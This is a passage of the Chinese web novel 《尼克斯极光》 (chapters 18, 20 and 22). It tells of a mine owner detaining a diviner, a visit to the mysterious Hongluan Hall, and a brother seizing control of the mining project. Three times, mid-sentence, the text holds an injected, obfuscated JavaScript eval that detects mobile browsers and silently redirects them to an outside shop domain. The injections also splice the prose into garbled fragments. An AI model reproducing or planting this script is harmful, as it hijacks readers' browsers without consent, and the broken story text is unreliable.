《尼克斯极光》 18. 看住他 雨在傍晚时分下的,那时的太阳还没完全落下山去,映着一片红光的天空,雨下得来势汹汹,打在屋檐和窗台上发出劈里啪啦的响声,让人无法不去注意。 小而简单的房间,无论从用具还是布局上看,都与薛衡和周茉的住所没什么不同。 “能有这样的待遇就不要哭丧着脸了。”周卓飞对坐在床上一脸愁容的张明扬说道。 “领导你不懂,妻儿还在家里等着我呢。”张明扬伤心欲泪。 周卓飞刮了道眼神,没好气地说:“我提醒你最好不要耍小聪明,你的那点背景已经被我们调查过了。” 说完,周卓飞走到靠进墙的一边,张明扬之前被遮挡的视线开阔起来,他看到房间前半部分的茶几旁坐着一位翩翩公子,淡然地泡着茶。 忽而公子转过脸来,露出绅士的笑容,说:“大师没事就在这多住一段时间吧,不过是多一双筷子的事,营地不是多养不起一个人。” 他的茶泡好了,亲自递到张明扬手里,“只要你能想出法子解决这件事,钱不是问题。” 张明扬捧着茶杯,似有难言之隐,迟迟才说:“当地人无比信奉神树,骨钟人几乎都有宗教信仰,这也是他们纯朴不懂得撒谎的原因之一,因为他们相信人在做天在看,做了违背信仰的事情是会遭报应的,如果执意去做神树不同意的事情,恐怕会引起民愤。” “我知道。”薛衡呷了一口茶,突然侧过脸去看窗外的雨,“先前你说不会下雨,现在不也下了。” 相较一开始的雨势,现在已经小了不少,打在简易房棚上吧嗒吧嗒响,对于这点张明扬无话可说,低下头来。 薛衡乘胜问道:“那么,神不同意的原因是什么?” 张明扬的视线穿过薛衡的侧脸去看窗外的雨,像是失了神,又好像在思考着什么,良久,才说:“地底下恐怕埋着会祸害人间的东西,想必你们都听说过十年前骨钟矿场发生的惨案吧,一次没有预兆的坍塌事故导致数百人死伤。这次的请神仪式便是神的警告,这次是我差点被雷击中,下次说不准了......” 他看向薛衡意有所指,没想到薛衡眼睛一亮,放下了茶杯。 “那就说明确实有东西了?” 张明扬心下一惊,没想到他如此执着,劝道:“年轻人,你知道强行打开潘多拉魔盒的后果吗?到那时波及的不仅是你和我,还有身边的亲人,以及更多的毫无关系的人,他们都是无辜的。” “前提是先打开潘多拉魔盒。”薛衡断然道:“还记得我问你爆破能否成功,你是怎么回的?你的意思是事在人为,如果真有灾难降临,那就有对应的预防方法,这也是我找你来的原因!” 薛衡懒得跟他扯东扯西的了,说:“既然你能听懂“神”的指意,也能知道到如何平息“神”的愤怒吧?” 沉默...... 薛衡起身打算走了,他的个头很高,挡住了顶灯,也挡住了照在张明扬身上的光。 走之前,他只留下一句:“我可以等到你,但我没那么多时间,你好好考虑吧。” 门外,周卓飞正在兢兢业业守岗,看到薛衡出来条件反射从椅子上站起来。 为了方便守门的人,特地搬来了张桌子和两把椅子,上面放了些饮料和零食,也不用担心肚子饿,非常人性化,这个点另一个守门的人吃饭去了,只有周卓飞在,便放了心问出心中的疑惑。 “boss,我有件事想不明白,为什么要留下张明扬呢?还要管他的吃住,不是我不想派人看守他,我实在想不通,不都说他只是个诓人神棍吗?” “骗人总得有目的,不是为钱就是为别的......”说到这他看向门那边,眼里也有些不解的困惑,说:“可他似乎并不贪图什么,我总觉得他知道很多,可能有所考虑才隐瞒,留着不是什么坏事,也许哪天就愿意说出口了。” 周卓飞恍然大悟:“原来如此。” 随着入夜雨渐渐停了,人声也变少了,营地越来越安静,偶尔传来一两滴屋檐积水滴落的声音。 门外似有动静,是门锁转动的声音,接着出来守门的人的声音:“见门就想进?这门是你能随便进的吗?问过老板了吗?” 少年声线特有的倔强,说:“问过了,不信你打电话给他。” 守门的人给周卓飞打了个电话,电话挂断后不久,门开了。 果不其然,来人是鹿西贝。 张明扬开口便问:“你怎么来了?” “营地的饭菜还合口吧?我看他们给你的饭从食堂出来的,和员工吃的一样。”鹿西贝走进房间中央,从怀里掏出一小支酒来,笑着说:“师傅,你刚回来不久一定很想念这个吧。” 酒是鹿西贝家里的厨师酿的,外面市场买不到,张明扬一直就好这一口,要不是贪这一口酒香,他也许并不会和鹿西贝有这么深的交情。 他不是一个嗜酒的人,只是经历了一些事后才开始小酌一点,一开始为了好入睡,后来就渐渐养成习惯了。 鹿西贝把酒往桌子一放,环顾四周,说:“这里条件还不错,师父你放心,他们不会亏待人的,我定会为你争取离开的机会。” 张明扬叹了叹气,道:“我没事,他们关不了我多久。” “不说这些了,来喝酒。”鹿西贝拿过桌上的杯子,才发觉这小口的杯子只适合喝茶,但也没别的杯子了,“算了,凑合着用吧。” 师徒两像从前一样干杯,各自仰起头来一饮而尽,酒入愁肠,愁更...... 才喝了一些,鹿西贝鼻子上就浮现红晕,怔怔看着张明扬,问道:“师父,世上真的有神吗?我记得你说过神只是人欲望的化身,我一直听不懂,但这句话的意思是世上本没有神的吧?可这段时间以来,确实发生了很多常理无法解释的奇怪的事情,如果继续挖下去,真触怒了“神”会有什么样的结果呢?” 鹿西贝从小在骨钟长大受当地信仰影响,随着长大外出见识多了,更愿意相信科学解释,没有这么深的信仰执念。 抿下一口酒,张明扬没有着急解释,而是问:“薛衡是个什么样的人?” “我也是他来骨钟这段时间才接触的,时间不算长,但我感觉他很特别,与其他外来人不太一样......”鹿西贝思忖道:“我说不上来那种感觉,大概就是他能把每一个不同的人当一个鲜活的人来看待,比如一个当地人矿工,很多矿场主只把他们当成廉价的劳动力,他们认为自己付了那点钱就理所应当成为上帝,但boss和他们不一样。” 鹿西贝停了一下,又接着说:“我挺能理解他想要继续挖下去的心情,即使那样会和当地人的信仰产生冲突,但站在他的角度,他只是一个做宝石的生意人,矿场开采投入了大量成本,总要有所收获。” 说完,鹿西贝看到张明扬用一种陌生的眼神看着自己,随即欣慰地笑了。 张明扬轻轻拍了拍鹿西贝的肩膀,说:“这些外来人把你教的很好,当然,这对你来说是件好事。” “对了。”鹿西贝放下杯子,说:“师父这次外出有收获吗?” 说到这,张明扬面露愁容,只见他缓缓摇了摇头,往两人的空杯子都倒了酒,“来喝酒。” 酒顺着喉咙流入肚里,引起胃里一阵灼热的灼烧感,鹿西贝家的酒口感虽浓烈,但没什么度数,不用担心喝醉,他想起来一个人。 清醒的张明扬说道:“其实也不是没有收获,虽然是回来后出现的,属于计划之外。” 第二天,一个意想不到的人出现在张明扬眼前,她给他送来早饭,但她有些嫌弃地捏住了鼻子,“看来你待得挺舒服,还有心情喝酒。” 放下早饭后,她没有立马离开,而是坐在他的对面,一看就是有话要说。 张明扬打开饭盒,漫不经心地吃了起来,一边等着听她有什么话要说,没想到她一开口就说:“我就不跟你绕圈子了,你为什么要在树上刻符文?” 还真是干脆,张明扬忍不住笑了笑,说:“无非就是一些神偈,和对当地的祝福。” 周茉眉毛一挑,也学着他漫不经心的语气,说:“你不是骨钟人吧?你一不做宝石买卖,二不参与矿场开采,一个外来人自己待在骨钟,还一副“我做这一切都是为了骨钟”的样子到底是为什么?” 张明扬被问得一时语塞起来,想了想他竟放声大笑起来,周茉被他突如其来的笑吓了一跳,还回过头去想刚说的话,也没什么好笑的地方啊? 笑够了,张明扬筷子放下饭也不吃了,大方豪迈扬言:“不就是想了解,告诉你又何妨。” 周茉静等着他的话,他却迟迟不开口,倏尔一阵疾风吹向面庞,周茉只觉得眼前一黑差点没反应过来,她的右手格挡在前,身体比意识先接住了迎面而来的突袭。 紧接着张明扬横扫一腿往她肚子袭来,周茉迅速侧了个身,让他扑了空,趔趄了一下。周茉眼疾手快,趁机擒住了张明扬。 张明扬反手在背,周茉觉得不解气还用力往下压了压,“敢骗我,还搞偷袭这种下流的操作。” “痛......痛......”张明扬痛得五官都扭到一起,“我错了。” 不知是不是周茉的错觉,她竟在他扭曲的表情中看出了一个释然的笑容。 桌上的饭盒偏移原位,最后摔落倒地上,发出的声响吸引了门外的人,他们秉公行事推门进来就看到张明扬整个人都被按在桌子上,脸都要压扁了。 他们哪能应付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593894|186567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的场面,其中一人使了眼色,另外一人立马跑去喊来救兵。 周茉对怔在门口的人说:“别发愣了,快来跟我一起绑了这人,他竟然不怀好意想搞偷袭。” 薛衡等人赶到的时候,看到张明扬像个粽子一样和椅子绑在一起,鹿西贝感到十分震惊,一脸不解地对张明扬问道:“你为什么要袭击薛小姐?” 一下子来了这么多人,张明扬心情有些复杂,他觉得自己有苦说不出,干脆沉默了。 薛衡心情倒是有些愉悦,一来他早就想对这个神棍这么做了,碍于没有一个道德上说得过去的理由,现下周茉二话不说就把他教训一顿,他是感到一丝畅快的。 他想起之前在镇上,周茉何执着于买根麻绳回去,还强调要粗的结实一点的,那时他不理解她的做法,现在理解了。 “麻绳就是这么个用处的?”薛衡向周茉问道。 对方满脸写着:“不然呢?” 既然人都来了,周茉开始告状:“好端端的他突然动手,谁知道有什么意图,不绑起来伤及更多的人怎么办?” 张明扬继续沉默低着头一脸心虚,等房间安静下来,才抬起头来对薛衡说:“我有话要对你说,让其他人都出去。” 房里只剩下两个人,薛衡在张明扬面前蹲下,好声好气地说:“有话就好好说,为什么要动手打人?” 张明扬虽然看着没个正经,但总归不像是会无理取闹的人。 “这件事是我不对,事后我会对她道歉的。”张明扬说:“我可以陪你们去一趟红鸾堂,找一个叫夜不离的人,也许她能为你算出答案。” “算出答案?” “对,红鸾堂是个可以为人解算命运未来的地方,堂主夜不离天生赋有看穿他人命运的本事。”张明扬看出了薛衡的心思,说:“她在当地富有“神的旨意”的称号,如果她能看到你命定的事情,也许能帮上忙,还能平息众怨。” “又是把自己的命数交由他人解释。”薛衡感到不屑。 “我听说了你遭遇刺杀的事,要获得你想要的东西,有时候不是等价的金钱交易就可以的,现实很复杂,尤其身在一个与自己出生成长毫不相关的地方,总得顺应当地风土民情,况且还有前车之鉴。没办法,这不仅是规矩,还是规律。”张明扬苦口婆心,看他面露松动,紧接着说:“我看你是个明白人,才对你说这些话的。” “你就是为了对我说这些话,而打了薛凝?” 张明扬怔住了,看他表情应该听进去了,没想到他还能话锋一转,只好如实说:“其实,我想试试她的身手,万一遇到什么事,她是否有保护自己的能力。” 薛衡像是听到什么笑话,对他说:“这些事用不着你来操心。” “是这样的。”张明扬不急不忙地说:“红鸾堂这个地方比较特殊,一般只为女性服务,所以她必须和我们一同前去。” “如果是为了保护自己,大可以寻一个身手好的女生去。”薛衡靠近他,逼问道:“按你这么说,红鸾堂还能是一个危险的地方?你怎么敢让堂堂薛家小姐一同前去的?还是别有用心?嗯?” 张明扬承认他的心思确实缜密,但凡说谎都能轻易看穿,想想一个女生待在这样的男人身边,他的心里就有些不是滋味。 他叹了叹气,说:“我说实话吧,第一天见面握手的时候,就感受到了她掌心的老茧,不像是一天两天磨出来的,豪门世家小姐怎么会有这样一双手?再看她日常和你的相处,比起亲兄妹,更像是上下属关系,我猜得对吗?薛少爷。” 薛衡虽然面无表情,但张明扬知道自己猜对了,心下更确认了八九分。 “你放心吧,我对你的家事不感兴趣,不会说出去的,就是你们的关系不一般,也不是真正的兄妹关系,夜不离大概能一眼看穿。”说到这,张明扬为难起来,“她这人生平最恨人骗她,所以我担心这一趟会有危险......” 不知道这张明扬为什么如此关心一个陌生人的安危,但由此来看,他确实如他所想那样,不可能是个恶人。 薛衡说:“又是骗人,又是危险的,你为什么觉得我会答应你去这一趟?” 张明扬看着他,眼中有迷茫,也有期待,缓缓说道:“讲真的,我也非常好奇你能否爆破成功?如果她给出积极的答案,我会告诉你一些事情,不然?薛少爷何必困我在此?” 对话进行到这,薛衡心有定数笑了笑,说:“看来我确实非去不可。” 薛衡让人给张明扬解开绳子,真如他所说,想来他也不会逃跑,还让人叫来周茉。 离开前,他交代张明扬:“去红鸾堂的事,你自己跟她说吧。”走了两步,又转身对他说:“对了,记得给她道歉。” 20. 月亮看着地上的人儿 目及之处尽是各色鲜艳的花,空气里弥漫着花的香气,仿佛空气本就是花香的气息,周茉感到身上都沾染了香气。 这香气,闻久了有些头晕。 转眼间周茉躺在了地上,她视角中的花,枝干高耸入云,花瓣遮住了天,一阵大风吹来花瓣摇摇欲坠。 花瓣最终还是支撑不住风力掉落下来,它像钟摆一样,往左飘又折返往右,花瓣缓缓落到地上,盖到周茉脸上,她感到空气越来越稀薄,呼吸变得困难...... 咳咳......咳...... 周茉猛地睁开眼睛,入眼便是无边无际的黑暗,等她的脑子清醒过来,眼睛也适应了当下的环境,借着月光她看到自己睡在一张木床上。 床靠着墙,墙的中央镶着一扇镂空木窗,她把手撑在床上,坐起身来,看向镂空木窗。 外面是个露天庭院,种着两颗玉兰树,这是一扇内窗。 她全记起来了,这里是红鸾堂的院子,低头一看,项链还在。 玉兰花香从镂空窗飘进屋内,周茉感到一阵恶心,昏迷之前也是这种感觉,但比现在的反应还要强烈上百倍。 怎么闻到花香会头晕想吐呢?这是从前没有过的事。 周茉突然想起主厅里闻到的异域花香味......她自进入院子来没接触什么事物,也没吃过什么东西,昏迷前突然头晕目眩,软弱无力的症状像是中了毒,可能跟花香味有关。 如若真是这样,无论他们说了什么,夜不离也已提前做好防备了,可如果是为了项链,她又没有趁机拿走项链,实在让人不解。 房间里只有她一个人,透过窗户看去外边无人看守。周茉下床站直腰间疼痛一闪而过,一开始她以为是身上有伤,拉起衣服来看皮肤完好无损,也没有半点淤青。 可能拉到哪条筋了吧,周茉双手叉腰揉了揉,转头一眼看到木床,突然间她就明白了,酸痛感从何而来。 床板太硬了。 纯木床上什么都没垫,就连枕头都是块方方正正的木头,对习惯了软床垫的人无疑是种折磨,仔细一看房间除了这张床空无一物,难道这是红鸾堂特有的囚惩方式? 周茉轻手轻脚走到门边,尝试着把门闩拉开,门就这么触不及防地打开了,她小心翼翼探出头去,看了一圈,竟真无人看守。 心里又是惊讶又是高兴,可疑点也随之冒出,夜不离弄了这么一出到底图什么? 院子的灯都熄灭了,月光足以看清周围的事物,周茉将围着庭院的屋子查探了一遍,都没有发现张明扬和薛衡的踪影。 想来现在已是午夜,整个院子静悄悄,无一人值夜,隔着门窗还能听到打鼾的声音。周茉将整座院落大概逛了一遍,没有找到适合关押人的地方,甚至她们的卧房都不上锁的,周茉轻轻一推门就开了。 越探越觉得这真是个奇怪的地方,就算现在溜出门去想来也没人发现,但她不能一个人走。 山林里不时传来虫鸣声,他们不会已经被赶出院子外了吧?想想应该没有,若真如此,他们定会回来救她的。 漫漫长夜时间还长呢,周茉决定再仔细搜索一遍。 皓月当空,月光透过铁窗照得屋里一片亮堂,说是屋子更像是牛棚,干净一点的牛棚,地上没有牲畜的粪便,只有满地的稻草,两个略显憔悴的男人坐在稻草上,一脸困倦但都没有闭上眼睛。 张明扬劝薛衡先好好睡一觉,睡好了第二天才有精力应对,薛衡嘴上应承了,身体依然直直挺着。 反观张明扬这边已经将稻草铺平整,舒舒服服地躺下了,他困得快支撑不住了,上了年纪后果然不如年轻时那般能熬了。 “白天夜不离说的话你都听到了吧?”安静的环境里,薛衡突然开口,他并非听进心里,随着夜深睡不着,不知为何满脑子想的都是那些话。 “骨钟矿场从不拖欠工资,也不榨取工人的劳动时间,从来都是合法合规经营,这些他们就看不到吗?为什么非要抓住过去的事不放呢?就不能向前看吗?” 薛衡越说越激动,这还是他头一次表露出真实的情绪,但他很快又反应过来,及时收住了还没喷发而出的情绪。 张明扬睁开眼,睡意神不知鬼不觉溜走了,他当然听到了夜不离的话,当时整个大厅大概除了昏过去的周茉,所有人都听见了。 以他对她的了解,她那会脑子完全不清醒了,虽然她说的都是真话。 不少矿工妻子来找她算骨钟矿场发生这么多怪事,是不是一个不祥之兆,是不是因为他们的开采触怒了神仙,如果继续开采下去,是不是会给骨钟带来如当年一般损失惨重的灾难。 以上是客观事实,但夜不离的话太主观了,她指着薛衡说,他只顾自己的利益,无所谓会不会成为害群的马首。 还以为多深沉的城府,年轻人就是年轻人,张明扬双手枕在脑后,望着铁窗挡住的月亮,说:“十五年前的坍塌事件,给骨钟人造成了难以磨灭的伤害,新闻上的报道对于外人来说只是一串阿拉伯数字,但对骨钟人来说是一条又一条血淋淋的生命,和背后上百个家庭的破碎和悲痛,这些都是外人无法想象的。” 稻草须扫到张明扬的脸上,他把它们一一拨开后,继续说:“这里是一个信奉神意的民族,他们相信所有发生的一切介有神的旨意,只要诚信侍奉,聆听、遵从神意就能过上想要的生活。” 清冷的月光照在线条流畅的侧脸,薛衡的影子一动不动,还以为他睡着了,良久,他才说:“可我不是骨钟人,不是我关心他们的性命,我只信结果由人决定的。那一场坍塌是个偶然事件,事后的调查报告写得一清二楚,我看了不下十遍,排除了失误和机械性故障造成的可能性,不是人为造成。何况现在科技发展程度那么高,完全有地震等自然灾害提前预警的能力。” “呵......”薛衡笑了笑,摇头道:“我根本没必要解释。” “我能理解你的心情。”张明扬不再看向月亮,眼神有些灰暗,他平静地说:“据说当年坍塌前也发生过几次爆破失败的情况,只是那时人们并不当回事继续开采,所以神降临了惩罚。” “寻不到缘由的爆破失败?” “这个我就不清楚了......” 两人陷入了沉默,一旦安静下来,便听到了屋外细微的动静,像是老鼠经过,踩到枯叶树枝发出的声响,两人并不放在心上,只是往外看了一眼。 没想到这一眼都他们吓了一跳,铁窗上突然出现了一张脸。 只见那人双手抓着铁栅栏,把脸探进来,惊喜但小声道:“真是你们!” 得知来人是周茉,两人的心情由惊吓转成惊喜。 张明扬一屁股坐起来,靠进铁窗,看到周茉相安无事,满意地点点头说:“你没事就好,她们没把你怎么样吧?” “没呢,我好着呢。”周茉注意到屋内一地稻草,薛衡也是坐在稻草上,说:“你们这怎么什么都没有?我那房间里还有床......” 虽然很硬,但起码是张床。 “对了。”周茉想起来,“我房间的门没锁,整个院子的人都睡了,不知道为什么也没人值守,我才得以出来,好不容易终于找到了你们......这的门是不是打不开?” 说着,周茉跳下来,铁窗的位置很高,她的个子够不着,只能接花盆的高度才上得去。再三尝试后,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611682|186567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茉再次踩上花盆的边缘,对屋内的两人说:“门从外面锁上了,要有钥匙才能打开。” 她使劲拽了拽栅栏,铁窗纹丝不动,“看来破窗是行不通了,门是木的,我试试能不能破开。” “哎哎,等等。”张明扬赶紧在她走之前叫住她,“不白费力气了,既然没把你关起来,也没放人看守,想是不会对你怎么样,我们这里就不用操心了,回房间去好好睡一觉,明天的事明天再说。” “可是......”周茉还想说什么,角落里的薛衡突然站起来了,往铁窗这边走来。 “夜不离不是想要你的项链?项链还在吗?” 不说都忘了,周茉把项链拉起来给他们看,“在呢,我身上什么都没少。” “那就奇怪了。”薛衡思忖道:“又不要项链,不知留人在此是何用意。” 这也是周茉想知道的,为什么单放着周茉不管,又把两男人锁起来了,难道是觉得她独自一人也做不出什么事来? “好了。”张明扬出声打断了两人的思考,“今晚就先这样吧?有什么等明天见到人再问再说,按现在的情况来看,我们应该是没有危险的。” 周茉觉得他说的话不无道理,离开矿底和半山坡后,张明扬似乎变得靠谱起来了,她刚打算落回地上,突然想起什么。 “我晕过去之后,你们就被关来这里吗?” “对啊,我们哪是那些女人的对手,即使你在也打不过的,别想太多了。”张明扬说。 薛衡似乎也想起了什么,手托着下巴,说道:“我们被抓起来的时候,夜不离看起来很难受的样子,我们被带出主厅之前,我看到一些人拥上去关切地看着她,我在想......我们之所以看起来没有危险,大概是可能夜不离身体状况不是很好。” 这......只有张明扬可能知晓了,两人一同看向了他。 张明扬叹了叹气,说:“就算是她身体不好吧,但薛小姐没被一同关起来,项链也还在,这说不过去吧?听我的,今晚好好休息把精力留到明天。” 周茉依旧没动,她抓着栏杆,说:“你不是说过红鸾堂一向不待见男的,万一明天就有危险了怎么办?” 见状,张明扬只能说出来了,他垂着头看起来有些丧气,道:“跟你们说吧,我和夜不离老相识了,她的性情我最是了解不过,说了不会有危险就是不会。” 周茉终于走了,月光找不到的阴暗处,薛衡站在阴影里,屋内安静了好一会儿,他才开口:“你是不是在安慰她,来之前你还试了她的身手,不就想知道有危险的时候,她是否有自保的能力吗?” 张明扬微不可闻地叹了声气,没有承认,也没有否认。 薛衡又说:“如果你说的是实话,那还有一种情况,你不相信夜不离。可是问题又来了,你为什么这么关心周茉?白天在大厅里,你那些下意识的反不会是装的吧?” 周茉往回走的时候,还是挨个房间翻了遍,看看是否能找到钥匙,结果令人失望。 来到最后一个房间门前,她已经不抱希望了,依然打开了房门。 这个房间跟之前看到的有所不同,能看出这是一间寝室,但整个院子里的寝室要么多人同住,要么像周茉的房间那样简单,这间房中央放着一张大床,床上铺着厚厚的被褥,看起来就很柔软,床顶还有紫色带闪金的纱幔,床边放着一张不知真假的兽皮地毯...... 无不显示着房间主人的非同一般,除了夜不离还能是谁的? 令周茉感到奇怪的是现在凌晨时间,正是深度睡眠的时候,床上空无一人,夜不离并不在她的房间。 这个红鸾堂真是越来越有意思了。 22. 有她,不算一无所有 太阳正在落下山去,夕阳的余晖给木制的院子镀上了一层金色的光,后视镜里的金黄色院落好像山里的海市蜃楼。 车子驶进乡道,手机才恢复通讯信号,周茉首先想到夜不离她们住在远离人烟的深山老林里,没有网络,生活全靠自给自足,没有沾染一点现代的气息。 从某种意义上来看是一件挺幸福的事吧。 刚恢复信号,薛衡的手机就弹出一堆消息,他点开消息一一看过去,眉头逐渐拧到一起,等到他抬起头来,脸上换了一副严肃的表情,“薛邈来了。” 原来这就是夜不离说的棘手的事。 还算宽敞的办公室里,孟加拉榕是屋内唯一绿植装饰,旁边放了张仿皮制黑色沙发,和孟加拉榕的绿叶相映成趣。仿皮的品质算不上好,勉强撑起老板办公室的气派。 据周卓飞说,整个办公室里最有价值的是那张办公桌,用的是骨钟上百年的老木,纯手工打造,还请了当地著名的雕刻师雕了个双龙戏珠。 这张价值不菲的雕刻木桌后露出薛邈高高翘起的下巴,他的双腿随意架在桌面上,整个人呈现出一副十分放松的姿态,看得出来他很满意身下这张椅子。 听到来人声,那双不含柔情的桃花眼慵懒地睁开了,上挑的眼角不笑似笑,薛邈懒懒地看着来人,用最温柔的语气道:“家里批了这么多钱给你,不但挖不出什么来,连办公室都这么破烂,还真是废物啊。” 听不懂中文的还以为他在说什么动听的话。 周卓飞原本低着的头,不敢抬头的他突然抬起来不可置信地看着薛邈,周茉一时间也怔住了,之前在家里还算和气,来到这连装都不装了。 她侧眼去看薛衡,他倒是一脸淡定,一副见惯不惯的样子,还有心情笑了一下。 薛衡说:“大哥千里迢迢来到骨钟,不会只是来骂我发泄的吧?” 架在桌上的腿收了回去,周卓飞心疼了一下,这张桌子是他花了好大的功夫找人找资源才做成的,当初得知薛衡要来,为了布置办公室,他还是花了很多心思的,花费也没超过预算,谁知在这位大公子嘴里竟成了破烂。 薛邈坐直了身子,请出身后的男子,“给大家介绍一下,这位是国家博物馆的夏馆长夏郁旻。” 椅子后面的男子往前走了几步,对几人微微颔首算是打了招呼。 这人长相极为秀美,打进门起周茉就注意到他了,他的五官精致立体,尤其那对狭长的眼睛,抬眸间极具阴柔的魅感。 薛邈接着说:“夏馆长此次来骨钟是为了确认协议内容一事的,那么,接下来的事情就交给夏馆长来说明了。” 夏郁旻不知从哪变出一个黑色皮夹来,他从皮夹里拿出一沓纸,放在桌子上,纸上密密麻麻写满了字。 “根据最新的《国家博物馆藏品公约》,国家特别卖出的矿场开采权,开采出《公约》内规定的宝石种类,必须上交国家,归国家所有,这是《公约》原文。” 周卓飞拿过桌子上的《公约》交到薛衡手里,他大致翻看了一下里边的内容,顺便检查《公约》的真实性,直到他看到了皇室防伪的印章。 “骨钟矿场属于国家特别管控下开放给个人的矿场,还请遵守《公约》的相关规定。”夏郁旻又补充了一句。 再三确认后,薛衡把《公约》合上放到一边,对夏郁旻说:“矿场并没有开采出含有《公约》规定的宝石。” 夏郁旻笑了笑,很是和气地说:“小公子请看下面小字的特别说明,符合限制条件的矿场需要每月给国家博物馆提交当月的开采记录材料。” 薛衡游刃有余地回道:“这份《公约》是买下矿场后出的,当初签订协议的时候没人交代过,之后也一直没见有人通知我们需要交什么材料。” 言下之意有什么问题,都是你们那边的问题。 夏郁旻从皮夹里取出一个平板电脑,展示里边的内容给众人看,电脑打开就是邮件信箱的页面,看来早就有所准备了。 他在平板上划了划,说:“半年前,国家博物馆有给贵公司发过邮箱,一个星期前又发了一封。” 一旁的周卓飞激动起来,忙说道:“不可能,我们并没收过国家博物馆的邮件。” 电脑页面显示国家博物馆独一无二的编号,邮件中的时间显示确实在半年前和两个月前给骨钟矿场发过邮件,周茉瞟了一眼薛衡,他倒没什么特别的反应,转而示意周卓飞自己来看。 周卓飞拿过平板仔仔细细地看,夏郁旻告诉他:“你可以点开邮件内容。” 他的表情越来越难堪,点开邮件后更是凝重了,但他没有丧气又从头到尾重新查看邮件的内容,看了好久,夏郁旻抓住了平板的一角,说:“可以还给我了吗?” “一定是哪里出错了......”周卓飞始终不放手,眼睛死死盯着屏幕。 夏郁旻露出了不耐烦的表情,转头看薛衡,眼神在说:这就是你手底下的人? 薛衡对上夏郁旻的眼神,双方丝毫没有退缩的意思,即便他最后还是让周卓飞把平板还给夏郁旻了。 老板发话了,周卓飞只能松手,但在夏郁旻抽走平板的一瞬,他终于明白是怎么回事了,有个符号的字体粗一些,不熟悉的人确实会使用错误的符号导致接收不到,“邮箱错了,是邮箱地址错了!我就说没有收到过,不信我们可以对一对。” 夏雨旻合起了屏幕,将电脑放回原来的地方。还拉上了皮夹的拉链,抬起头来对周卓飞说:“这我就不清楚了,邮箱地址可是当初收集资料的时候,你们自己填交的,我们可没有核对的义务。” 周卓飞突然想起来,当初确实有个提交矿场相关资料的短信,他只当跟往常一样相关部门走流程做的任务,就把这件小事交给一个实习生去做了,那个实习生实习到期后就离开了,属于死无对证了。 他在心中暗骂了一句,这么一来确实是自己工作的疏忽,场面变得有些尴尬。 “算了,事情已经发生了,想再多也没用。”薛衡拍了拍周卓飞的肩膀,转而对薛衡和夏郁旻说:“资料我们会补交的,但你们亲自来这一趟,不会就是为了这么一件小事吧?” “小事?”夏郁旻像是听到了什么笑话般,“你恐怕有什么误解。” 他告诉薛衡:“超出三月未提交资料,经博物馆提醒仍是不交的,博物馆有权收回开采资格。” 薛衡这才明白他们的用意,薛邈动作吸引了他的注意,一份正规文件摆放在桌子上,他示意他自己拿起来看吧。 文件上声明尼克斯已交完罚款,保住了开采权,只是负责人换成了薛邈,落款有薛重任的亲笔签名和尼克斯的印章。 从周茉的角度看不到文件上的字,她只感觉薛衡看了好久,还没来得及担心他,他就笑出了声。 薛衡将文件放回桌上,无所谓道:“大哥想要开采权直说就行,何必这么大费周章,我们都是尼克斯的人,何必这么闹得给别人看笑话似的。” 薛邈问他:“你觉得我在抢你的东西?” “哪分什么我的你的东西?最后不都是尼克斯的东西?”薛衡反问。 薛邈顿了一下,说:“看来你什么都不知道。” 薛衡已经不想多说一句话,对方做好了十足的准备,无论怎么说都有理由堵住他的嘴,何必呢?他潇洒转身,对周茉说:“我们走。” 他们走出去没多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678633|186567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远,周卓飞在后边追了上来,他叫住薛衡,说:“老板,您就这么放弃了吗?这可是您耗尽心力准备了三年的项目,打从项目一开始我就加入工作了,我和项目的所有员工一路见证了您的付出,如果我们联合起来一起对付那些人,说不定总裁会改变心意的,我想这其中一定有什么误会。” “不用了。”薛衡断然道,他回身对他说:“放心吧,他们没带其他人来,继续推进下去需要对项目熟悉的工作人员,你们可以安心在这里工作直到项目结束。” “可是......”周卓飞还想说什么,对方已经转身迈步往前走去了。 回宿舍的路上,薛衡和周茉两人都没说话,直到宿舍门前,薛衡才对周茉说:“来我房间坐一会?” 这还是薛衡第一次主动邀请周茉进入他的房间,她不自觉怔住了,脑海冷不丁想起在薛家堡的时候,自己误闯进他的寝室,还停电来着...... “怎么了?” 察觉到她在走神了,还以为刚刚的事情让她怎么了,薛衡低下头去看她。 周茉吓得往后一缩,笑着连说:“没什么没什么。” 她不该想那些,脑海里的小人快速清扫了那些突然冒出的记忆,理智想他在骨钟的心腹是周卓飞,遇到了这样的事,他没有留下周卓飞,反而请自己去他房间坐一会儿单独说话。 这么说......他信任她了? 进了房间后,薛衡居然亲自沏起茶来,把周茉看得眼睛都瞪大了几分,这可不像身为少爷的他。 